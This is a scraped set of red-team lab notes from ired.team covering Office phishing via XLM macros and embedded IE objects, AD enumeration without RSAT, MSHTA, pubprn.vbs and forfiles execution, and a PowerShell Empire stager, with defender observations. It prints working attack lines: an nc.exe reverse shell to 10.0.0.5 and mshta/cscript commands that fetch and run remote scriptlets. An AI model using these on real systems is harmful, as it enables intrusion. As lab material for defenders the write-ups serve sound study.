![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LOJGfhJ3tr1zOwNMn8j%252F-LOJGhQ91Wmbqn72LAZ0%252Fphishing-xlm-procexp.png%3Falt%3Dmedia%26token%3Dbde9149b-e060-4b16-8f7f-0f9646237f3f&width=768&dpr=3&quality=100&sign=2f43deeb&sv=2) Having a quick look at the file with a hex editor, we can see a suspicious string `shell.cmd` immediately, which is of course good news for defenders: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LOJOHlQGdb0-wRjTYHC%252F-LOJOVXnSF8feuxO12WF%252Fphishing-xlm-hex.png%3Falt%3Dmedia%26token%3D65d702ec-5277-4a99-890a-5e837ecc2a63&width=768&dpr=3&quality=100&sign=58bfa1c4&sv=2) ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LOJOHlQGdb0-wRjTYHC%252F-LOJOe0SlJLeAim9LKEb%252Fphishing-xlm-strings.png%3Falt%3Dmedia%26token%3Dc543a92b-7a5a-4818-844d-7c5a7c4bfc53&width=768&dpr=3&quality=100&sign=6d69e5c6&sv=2) [](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-xlm-macro-4.0#references) References ------------------------------------------------------------------------------------------------------------------------------------- [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fwww.outflank.nl%2Fwp-content%2Fuploads%2F2022%2F03%2Fcropped-outflank-favicon-192x192.png&width=20&dpr=3&quality=100&sign=c759e96d&sv=2)Old school: evil Excel 4.0 macros (XLM) | OutflankOutflank](https://outflank.nl/blog/2018/10/06/old-school-evil-excel-4-0-macros-xlm/) [PreviousPhishing with MS Office](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office) [NextT1173: Phishing - DDE](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/t1173-dde) Last updated 7 years ago * [Weaponization](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-xlm-macro-4.0#weaponization) * [Execution](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-xlm-macro-4.0#execution) * [Observations](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-xlm-macro-4.0#observations) * [References](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-xlm-macro-4.0#references) Copy =exec("c:\shell.cmd") =halt() c:\\shell.cmd Copy C:\tools\nc.exe 10.0.0.5 443 -e cmd.exe --- # Phishing: Embedded Internet Explorer | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-embedded-internet-explorer.md) . In this phishing lab I am just playing around with the POCs researched, coded and described by Yorick Koster in his blog post [Click me if you can, Office social engineering with embedded objects](https://securify.nl/blog/SFY20180801/click-me-if-you-can_-office-social-engineering-with-embedded-objects.html) [](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-embedded-internet-explorer#execution) Execution ------------------------------------------------------------------------------------------------------------------------------------------------ ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLJxiytqzVTtACKX5C5%252F-LLJyjh9CIrwT0n3Rvp5%252Fphishing-iex-video.gif%3Falt%3Dmedia%26token%3Dde339ff1-d27e-4397-99da-88a3d1e69ee3&width=768&dpr=3&quality=100&sign=c3c9fcfe&sv=2) 11KB [WebBrowser.docx](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LLJzEfnd6ZCvCo7OwSb%2F-LLJzJCV0lwxqd0pA1mi%2FWebBrowser.docx?alt=media&token=7ee83800-b9eb-406e-9f33-fc32331f07f4) Download[Open](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LLJzEfnd6ZCvCo7OwSb%2F-LLJzJCV0lwxqd0pA1mi%2FWebBrowser.docx?alt=media&token=7ee83800-b9eb-406e-9f33-fc32331f07f4) WebBrowser.docx 51KB [poc.ps1](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LLJxiytqzVTtACKX5C5%2F-LLJz-YHi2MBG7bwy1Yu%2Fpoc.ps1?alt=media&token=68d0c9dc-ec6a-4406-ac14-8c43da19fb87) Download[Open](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LLJxiytqzVTtACKX5C5%2F-LLJz-YHi2MBG7bwy1Yu%2Fpoc.ps1?alt=media&token=68d0c9dc-ec6a-4406-ac14-8c43da19fb87) phishing-iex-embedded.ps1 [](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-embedded-internet-explorer#observations) Observations ------------------------------------------------------------------------------------------------------------------------------------------------------ ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLJxiytqzVTtACKX5C5%252F-LLJysTYVw-QHrgMvF2T%252Fphishing-iex-ancestry.png%3Falt%3Dmedia%26token%3Df812e343-1e7e-48bb-9869-ff42a809b86c&width=768&dpr=3&quality=100&sign=4acb6218&sv=2) As with other phishing documents, we can unzip the .docx and do a simple hexdump/strings on the `oleObject1.bin` to look for any suspicious strings referring to some sort of file/code execution: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLK05DndfnIsuUfV705%252F-LLK0UeV_qWarNBkci5z%252Fphishing-iex-olebin.png%3Falt%3Dmedia%26token%3D8b70b55d-0cbc-4ad6-a18a-59df52dadaab&width=768&dpr=3&quality=100&sign=d05f93dc&sv=2) The CLSID object that makes this technique work is a `Shell.Explorer.1` object, as seen here: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLK2sE5XTQMWzZS7exM%252F-LLK2l7mDsspEUow5HBF%252Fphishing-explorer-obj.png%3Falt%3Dmedia%26token%3D95036445-3044-4b29-81d5-b7839229d143&width=768&dpr=3&quality=100&sign=b5b7f624&sv=2) As an analyst, one should inspect the .bin file and look for the {EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B} bytes inside, signifying the `Shell.Explorer.1` object being embedded in the .bin file: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLLGrSLoowguTx6g3S0%252F-LLLHD4o6Fm9OQa8C0Hw%252Fphishing-clsid.png%3Falt%3Dmedia%26token%3Db3603c36-4957-4053-9ba1-29365fa5248b&width=768&dpr=3&quality=100&sign=117fcc62&sv=2) [](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-embedded-internet-explorer#references) References -------------------------------------------------------------------------------------------------------------------------------------------------- [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fwww.datocms-assets.com%2F21957%2F1580831017-securify-icon-01.png%3Fw%3D192%26h%3D192&width=20&dpr=3&quality=100&sign=3a2b9419&sv=2)Click me if you can, Office social engineering with embedded objectsSecurify website](https://securify.nl/blog/SFY20180801/click-me-if-you-can_-office-social-engineering-with-embedded-objects.html) [PreviousPhishing: OLE + LNK](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-ole-+-lnk) [NextPhishing: .SLK Excel](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-.slk-excel) Last updated 7 years ago * [Execution](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-embedded-internet-explorer#execution) * [Observations](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-embedded-internet-explorer#observations) * [References](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-embedded-internet-explorer#references) Copy Get-ChildItem 'registry::HKEY_CLASSES_ROOT\CLSID\{EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B}' --- # Active Directory Enumeration with AD Module without RSAT or Admin Privileges | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-ad-module-without-rsat-or-admin-privileges.md) . This lab shows how it is possible to use Powershell to enumerate Active Directory with Powershell's `Active Directory` module on a domain joined machine that does not have Remote Server Administration Toolkit (RSAT) installed on it. Installing RSAT requires admin privileges and is actually what makes the AD Powershell module available and this lab shows how to bypass this obstacle. [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-ad-module-without-rsat-or-admin-privileges#execution) Execution ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- The secret to being able to run AD enumeration commands from the AD Powershell module on a system without RSAT installed, is the DLL located in `C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.ActiveDirectory.Management` on a system that **has the RSAT** installed: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LXnewZ4PrS2xFJwBJbD%252F-LXnje_g_xLCfZcuPZ0g%252FScreenshot%2520from%25202019-02-03%252014-20-10.png%3Falt%3Dmedia%26token%3D12ff7b95-b057-47b7-b172-2b45ef1554d5&width=768&dpr=3&quality=100&sign=1f9c3adf&sv=2) This means that we can just grab the DLL from the system with RSAT and drop it on the system we want to enumerate from (that does not have RSAT installed) and simply import that DLL as a module: Note how before we import the module, `Get-Command get-adcom*` returns nothing, but that changes once we import the module: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LXnewZ4PrS2xFJwBJbD%252F-LXnjcuMjG6R9LynV7Dk%252FScreenshot%2520from%25202019-02-03%252014-23-34.png%3Falt%3Dmedia%26token%3D7932bfa1-0196-4d6b-89fa-7c96d545837c&width=768&dpr=3&quality=100&sign=488b236b&sv=2) As mentioned earlier, this does not require the user have admin privileges: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LXnmePBmClAvoHDq2bL%252F-LXnmtzAbfr4rm3m4-0x%252FScreenshot%2520from%25202019-02-03%252014-37-35.png%3Falt%3Dmedia%26token%3D646b48a1-059f-4fd3-b0ad-2d1431f94cd7&width=768&dpr=3&quality=100&sign=1f9ab3cd&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-ad-module-without-rsat-or-admin-privileges#download-management.dll) Download Management.DLL -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 1MB [Microsoft.ActiveDirectory.Management.dll](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LXnewZ4PrS2xFJwBJbD%2F-LXnmT6gbXUvKgr_h3AE%2FMicrosoft.ActiveDirectory.Management.dll?alt=media&token=dca25388-9b28-4744-9333-462445d65ab6) Download[Open](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LXnewZ4PrS2xFJwBJbD%2F-LXnmT6gbXUvKgr_h3AE%2FMicrosoft.ActiveDirectory.Management.dll?alt=media&token=dca25388-9b28-4744-9333-462445d65ab6) Microsoft.ActiveDirectory.Management.dll [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-ad-module-without-rsat-or-admin-privileges#reference) Reference ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- [https://scriptdotsh.com/index.php/2019/01/01/active-directory-penetration-dojo-ad-environment-enumeration-1/scriptdotsh.com](https://scriptdotsh.com/index.php/2019/01/01/active-directory-penetration-dojo-ad-environment-enumeration-1/) [PreviousBackdooring AdminSDHolder for Persistence](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence) [NextEnumerating AD Object Permissions with dsacls](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/using-dsacls-to-check-ad-object-permissions) Last updated 7 years ago * [Execution](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-ad-module-without-rsat-or-admin-privileges#execution) * [Download Management.DLL](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-ad-module-without-rsat-or-admin-privileges#download-management.dll) * [Reference](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-ad-module-without-rsat-or-admin-privileges#reference) Copy Import-Module .\Microsoft.ActiveDirectory.Management.dll --- # MSHTA | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/code-execution/t1170-mshta-code-execution.md) . [](https://www.ired.team/offensive-security/code-execution/t1170-mshta-code-execution#execution) Execution --------------------------------------------------------------------------------------------------------------- Writing a scriptlet file that will launch calc.exe when invoked: http://10.0.0.5/m.sct Copy Invoking the scriptlet file hosted remotely: [](https://www.ired.team/offensive-security/code-execution/t1170-mshta-code-execution#observations) Observations --------------------------------------------------------------------------------------------------------------------- As expected, calc.exe is spawned by mshta.exe. Worth noting that mhsta and cmd exit almost immediately after invoking the calc.exe: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LHKCbZRMb_Bx1Qy5YK6%252F-LHKCYjhpCr1FQH8FZdr%252Fmshta-calc.png%3Falt%3Dmedia%26token%3D998063d8-70ac-4589-b8c4-6c7918b11170&width=768&dpr=3&quality=100&sign=3461d945&sv=2) As a defender, look at sysmon logs for mshta establishing network connections: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LHKDbQBVZGQ4K-y9nQD%252F-LHKEILHR5pBRaB5KGNc%252Fmshta-connection.png%3Falt%3Dmedia%26token%3Daea0815a-3539-4a80-a4bf-ade7266f910b&width=768&dpr=3&quality=100&sign=b7e5cd48&sv=2) Also, suspicious commandlines: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LHKDbQBVZGQ4K-y9nQD%252F-LHKE-qfgAQ6ampZ5gu6%252Fmshta-commandline.png%3Falt%3Dmedia%26token%3D063fc054-2200-45c1-ac16-6a475543b5e5&width=768&dpr=3&quality=100&sign=314b069c&sv=2) [](https://www.ired.team/offensive-security/code-execution/t1170-mshta-code-execution#bonus) Bonus ------------------------------------------------------------------------------------------------------- The hta file can be invoked like so: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LHKN7at5zSs8ln1A_LK%252F-LHKNDhiNyaEpAD1k6EM%252Fmshta-calc2.png%3Falt%3Dmedia%26token%3De04d99b6-3a5c-4f38-bfb0-5379b77e6d16&width=768&dpr=3&quality=100&sign=488fa41c&sv=2) or by navigating to the file itself, launching it and clicking run: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LHKNg9WNwld275SXV7v%252F-LHKOJ_6AwX7wGoW84pc%252Fmshta-url.png%3Falt%3Dmedia%26token%3D4ee7abd5-14ec-4c40-90be-c75c55cdae4d&width=768&dpr=3&quality=100&sign=6518d68a&sv=2) [](https://www.ired.team/offensive-security/code-execution/t1170-mshta-code-execution#references) References ----------------------------------------------------------------------------------------------------------------- [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fattack.mitre.org%2Ftheme%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=ef708327&sv=2)System Binary Proxy Execution: Mshta, Sub-technique T1218.005 - Enterprise | MITRE ATT&CK®attack.mitre.org](https://attack.mitre.org/wiki/Technique/T1170) [Previousregsvr32](https://www.ired.team/offensive-security/code-execution/t1117-regsvr32-aka-squiblydoo) [NextControl Panel Item](https://www.ired.team/offensive-security/code-execution/t1196-control-panel-item-code-execution) Last updated 7 years ago * [Execution](https://www.ired.team/offensive-security/code-execution/t1170-mshta-code-execution#execution) * [Observations](https://www.ired.team/offensive-security/code-execution/t1170-mshta-code-execution#observations) * [Bonus](https://www.ired.team/offensive-security/code-execution/t1170-mshta-code-execution#bonus) * [References](https://www.ired.team/offensive-security/code-execution/t1170-mshta-code-execution#references) attacker@victim Copy # from powershell /cmd /c mshta.exe javascript:a=(GetObject("script:http://10.0.0.5/m.sct")).Exec();close(); Copy mshta.exe http://10.0.0.5/m.hta http://10.0.0.5/m.hta Copy Nothing to see here.. --- # pubprn.vbs Signed Script Code Execution | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/code-execution/t1216-signed-script-ce.md) . [](https://www.ired.team/offensive-security/code-execution/t1216-signed-script-ce#execution) Execution ----------------------------------------------------------------------------------------------------------- Using pubprn.vbs, we will execute code to launch calc.exe. First of, the xml that will be executed by the script: http://192.168.2.71/tools/mitre/proxy-script/proxy.sct Copy [](https://www.ired.team/offensive-security/code-execution/t1216-signed-script-ce#observations) Observations ----------------------------------------------------------------------------------------------------------------- Calc.exe gets spawned by cscript.exe which immediately closes leaving the calc.exe process orphan: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LI2NLhQvyfAE_V98Da4%252F-LI2ODZRD6ri-CkAzeYT%252Fpubprn-csript.png%3Falt%3Dmedia%26token%3Deaa92f70-9ceb-451b-b00a-953fb9234644&width=768&dpr=3&quality=100&sign=ea9b7417&sv=2) ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LI2NLhQvyfAE_V98Da4%252F-LI2OF_pE8rPLNHG0ciM%252Fpubprn-ancestry.png%3Falt%3Dmedia%26token%3Da73bf5ff-c128-4bd3-8078-f357ad729b77&width=768&dpr=3&quality=100&sign=b88327bc&sv=2) Monitoring commandlines can be useful in detecting the script being abused: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LIHSTBBhujbieofKNqG%252F-LIHTuiKgire5SPCG3h_%252Fpubprn-logs.png%3Falt%3Dmedia%26token%3D1d7d45bb-49c0-4076-a928-bb69052a9130&width=768&dpr=3&quality=100&sign=fb764636&sv=2) [](https://www.ired.team/offensive-security/code-execution/t1216-signed-script-ce#references) References ------------------------------------------------------------------------------------------------------------- [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fattack.mitre.org%2Ftheme%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=ef708327&sv=2)System Script Proxy Execution, Technique T1216 - Enterprise | MITRE ATT&CK®attack.mitre.org](https://attack.mitre.org/wiki/Technique/T1216) [PreviousForcing Iexplore.exe to Load a Malicious DLL via COM Abuse](https://www.ired.team/offensive-security/code-execution/forcing-iexplore.exe-to-load-a-malicious-dll-via-com-abuse) [NextCode & Process Injection](https://www.ired.team/offensive-security/code-injection-process-injection) Last updated 7 years ago * [Execution](https://www.ired.team/offensive-security/code-execution/t1216-signed-script-ce#execution) * [Observations](https://www.ired.team/offensive-security/code-execution/t1216-signed-script-ce#observations) * [References](https://www.ired.team/offensive-security/code-execution/t1216-signed-script-ce#references) attacker@victim Copy cscript /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs 127.0.0.1 script:http://192.168.2.71/tools/mitre/proxy-script/proxy.sct --- # Forfiles Indirect Command Execution | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/code-execution/t1202-forfiles-indirect-command-execution.md) . This technique launches an executable without a cmd.exe. [](https://www.ired.team/offensive-security/code-execution/t1202-forfiles-indirect-command-execution#execution) Execution ------------------------------------------------------------------------------------------------------------------------------ Copy forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LJyichyzjwI615m5jDZ%252F-LJyjew_qABPxMBKiUUh%252Fforfiles-executed.png%3Falt%3Dmedia%26token%3De9017f97-40d4-41e2-a28e-d51a81b5f4d8&width=768&dpr=3&quality=100&sign=a2c0237d&sv=2) [](https://www.ired.team/offensive-security/code-execution/t1202-forfiles-indirect-command-execution#observations) Observations ------------------------------------------------------------------------------------------------------------------------------------ Defenders can monitor for process creation/commandline logs to detect this activity: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LJyichyzjwI615m5jDZ%252F-LJyjiHwchi8LNcGtPHw%252Fforfiles-ancestry.png%3Falt%3Dmedia%26token%3Da0f7bb60-5889-4d74-9446-bc7819b53a81&width=768&dpr=3&quality=100&sign=7a030f9&sv=2) ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LJyichyzjwI615m5jDZ%252F-LJyjkBlj3iOlHGsmKq7%252Fforfiles-cmdline.png%3Falt%3Dmedia%26token%3D8674c1de-08ab-4016-909b-81fe10467b62&width=768&dpr=3&quality=100&sign=6054e921&sv=2) [](https://www.ired.team/offensive-security/code-execution/t1202-forfiles-indirect-command-execution#references) References -------------------------------------------------------------------------------------------------------------------------------- [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fattack.mitre.org%2Ftheme%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=ef708327&sv=2)Indirect Command Execution, Technique T1202 - Enterprise | MITRE ATT&CK®attack.mitre.org](https://attack.mitre.org/wiki/Technique/T1202) [PreviousUsing MSBuild to Execute Shellcode in C#](https://www.ired.team/offensive-security/code-execution/using-msbuild-to-execute-shellcode-in-c) [NextApplication Whitelisting Bypass with WMIC and XSL](https://www.ired.team/offensive-security/code-execution/application-whitelisting-bypass-with-wmic-and-xsl) Last updated 7 years ago * [Execution](https://www.ired.team/offensive-security/code-execution/t1202-forfiles-indirect-command-execution#execution) * [Observations](https://www.ired.team/offensive-security/code-execution/t1202-forfiles-indirect-command-execution#observations) * [References](https://www.ired.team/offensive-security/code-execution/t1202-forfiles-indirect-command-execution#references) --- # Powershell Empire 101 | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/red-team-infrastructure/powershell-empire-101.md) . [](https://www.ired.team/offensive-security/red-team-infrastructure/powershell-empire-101#listener) Listener ----------------------------------------------------------------------------------------------------------------- attacker@local Copy // Empire commands used ? uselistener meterpreter info ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLVfsQEjsPhoC9mrrXo%252F-LLVgU6_drYj3rPPxfcc%252Fempire-listener.png%3Falt%3Dmedia%26token%3Da3c4ea7b-1721-4b49-a866-36f1888d48bf&width=768&dpr=3&quality=100&sign=cae304a5&sv=2) Starting the listener: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLVhcFs-4RhuczHSyAo%252F-LLVhltv_m2mpJ_F4nw9%252Fempire-startlistener.png%3Falt%3Dmedia%26token%3D16a9747c-1e1d-480a-8b0f-590ad3ca5a4b&width=768&dpr=3&quality=100&sign=2cc6c167&sv=2) [](https://www.ired.team/offensive-security/red-team-infrastructure/powershell-empire-101#stager) Stager ------------------------------------------------------------------------------------------------------------- Stager will download and execute the final payload which will call back to the listener we set up previously - `meterpreter`\- below shows how to set it up: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLVkfSX1oueat1I2G3u%252F-LLVl8NmSyTRUQ4eUlkO%252Fempire-stager.png%3Falt%3Dmedia%26token%3D8bb44840-577a-43f8-9855-c74fedb5223c&width=768&dpr=3&quality=100&sign=f784fe2d&sv=2) A quick look at the stager code: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLVlMb35obtvmGghj-c%252F-LLVm9UwsH607SWLon2x%252Fstager-hta.gif%3Falt%3Dmedia%26token%3D91ce4a92-2766-4c5b-9322-8d4de7c8dff6&width=768&dpr=3&quality=100&sign=897d9dd6&sv=2) ### [](https://www.ired.team/offensive-security/red-team-infrastructure/powershell-empire-101#issues) Issues Various stagers I generated for the meterpreter listener were giving me errors like [this](https://github.com/EmpireProject/Empire/issues/896) and this: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLW9uNdvu7KCxPViA5s%252F-LLWHlPKLHTfd2OkbyV7%252Fstager-bat.png%3Falt%3Dmedia%26token%3D880bd6ad-9782-4137-ba75-39c066ec1f67&width=768&dpr=3&quality=100&sign=5e4107c8&sv=2) and this: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLW9uNdvu7KCxPViA5s%252F-LLWHnMIXWcom9O0xePx%252Fstager-vbs.png%3Falt%3Dmedia%26token%3D3370f995-f17a-410e-b0c6-c8db19c21ee0&width=768&dpr=3&quality=100&sign=7d0cdb63&sv=2) After looking at the traffic and a quick nmap scan, it seemed like there may be a bug in Empire's uselistener module when used with meterpreter - for some reason it will not actually start listening/open up the port: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLW9uNdvu7KCxPViA5s%252F-LLWJyS_SxlV3jwJmojz%252Fstager-listeners.png%3Falt%3Dmedia%26token%3D5dcd49f0-9009-4ed9-8a4f-19341dc75c95&width=768&dpr=3&quality=100&sign=f9831da3&sv=2) 